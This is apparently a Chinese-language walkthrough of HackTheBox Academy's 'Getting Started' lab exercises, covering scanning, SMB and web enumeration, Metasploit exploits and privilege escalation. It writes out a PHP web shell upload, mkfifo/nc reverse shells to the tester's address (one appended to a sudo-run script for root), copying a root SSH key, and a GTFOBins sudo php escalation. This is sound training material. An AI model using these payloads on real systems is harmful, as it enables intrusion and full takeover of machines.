HackTheBox Getting Started 练习解析
1.Basic Tools
直接用知识点
sjhdvjs@htb[/htb]$ netcat 10.10.10.10 22
SSH-2.0-OpenSSH_8.4p1 Debian-3
2.Service Scanning
这题需要连接vpn进行扫描
kail连接VPN
sudo openvpn academy-regular.opvn #kail 没安装openvpn需要进行安装 通过apt install 命令安装
接下来进行端口扫描
nmap -sV -sC -p- 10.129.42.254
nmap -A -p- -T4 10.129.42.254 速度快一点
第三问是smb共享
smbclient -U bob \\\\10.129.42.254\\users 用给的用户名密码:bob:Welcome1
ls
cd flag
get falg.txt 将会下载到本地
3.Web Enumeration
访问:http://94.237.56.76:32430
根据知识点用gobuster
gobuster dir -u http://94.237.56.76:32430 -w /usr/share/dirb/wordlists/common.txt
访问robots.txt
访问admin
根据知识点提示查看源代码
登录
4.Public Exploits
访问:http://94.237.48.48:58252/
根据提示使用公开exp
msfconsolve
search Simple Backup Plugin
use 0
set rhost 94.237.48.48
set rport 58252
set FILEPATH /flag.txt #根据提示读取的文件路径为/flag.txt
run
5.Privilege Escalation
根据提示使用ssh登录
ssh user1@94.237.48.48 -p 53673 使用给的用户密码 user1:password1
sudo -l
sudo -u user2 /bin/bash #根据给的知识点切换到user2
cat /home/user2/flag.txt
第二问:权限提升,需要用到rsa私钥连接
cd /root/.ssh/
ls
cat id_rsa
vim id_rsa #复制到本地kail中
chmod 600 id_rsa
ssh root@94.237.48.48 -p 53673 -i id_rsa
6.Nibbles - Enumeration
sudo openvpn academy-regular.opvn
nmap -sV --script=http-enum -oA nibbles_nmap_http_enum 10.129.145.66
7.Nibbles - Initial Foothold
sudo openvpn academy-regular.opvn
目标IP:10.129.200.170
访问:
用gobuster
gobuster dir -u http://10.129.200.170/ -w /usr/share/dirb/wordlists/common.txt
发现只有一个index.html
页面,并没有什么用
查看源代码,发现注释里面提示存在/nibbleblog/目录,于是再用gobuster扫一次
gobuster dir -u http://10.129.200.170/nibbleblog/ -w /usr/share/dirb/wordlists/common.txt
发现了一些有用的目录,依次访问
最终在http://10.129.200.170/nibbleblog/content/private/
路径下看到了users.xml
和config.xml
于是访问看看内容
curl http://10.129.200.170/nibbleblog/content/private/config.xml |xmllint --format - #以xml形式展现
curl http://10.129.200.170/nibbleblog/content/private/users.xml |xmllint --format -
于是访问admin.php
,用admin:nibbles 尝试登录,成功登录之后,找上传点,在plugins找到上传点
进行文件上传
<?php system('id');?>
访问http://10.129.200.170/nibbleblog/content/private/plugins/my_image/image.php
使用知识点中的bash反弹shell
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.59 6666 >/tmp/f"); ?>
python3 -c 'import pty; pty.spawn("/bin/bash")'
cd /home/nibbler
ls
cat user.txt
8.Nibbles - Privilege Escalation
根据提示进行提权
ls
unzip personal.zip
cd /home/nibbler/personal/stuff
cat monitor.sh
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.59 9443 >/tmp/f' | tee -a monitor.sh #打开另一个监听窗口
sudo /home/nibbler/personal/stuff/monitor.sh #运行文件进行反弹
nc64.exe -lvnp 9443
pwd
cd /root
ls
cat root.txt #获取flag
9.Knowledge Check
连接VPN访问:
sudo openvpn academy-regular.ovpn
http://10.129.42.249 #打开发现是GetSimple CMS
访问robots.txt
访问admin
,没有账号密码登录不了,
进行目录扫描,
gobuster dir -u http://10.129.42.249 -w /usr/share/dirb/wordlists/common.txt
依次访问发现没什么好用的
打开msf,查看是否有公开的exp
msfconsole
search getsimple
use 1
set rhost 10.129.42.249
set lhost 10.10.14.59 #设置为连接vpn之后分配的ip
run #发现成功返回会话
pwd
cd /home
ls
cd mrb3n
ls
cat user.txt #成功获得flag
接下来进行提权
shell #创建会话
whoami
sudo -l #发现是 /usr/bin/php
访问:https://gtfobins.github.io/ 搜索php
点击sudo 查看提权命令
CMD="/bin/sh" 依次输入进行提权
sudo php -r "system('$CMD');"
到此最后一个flag拿到。
]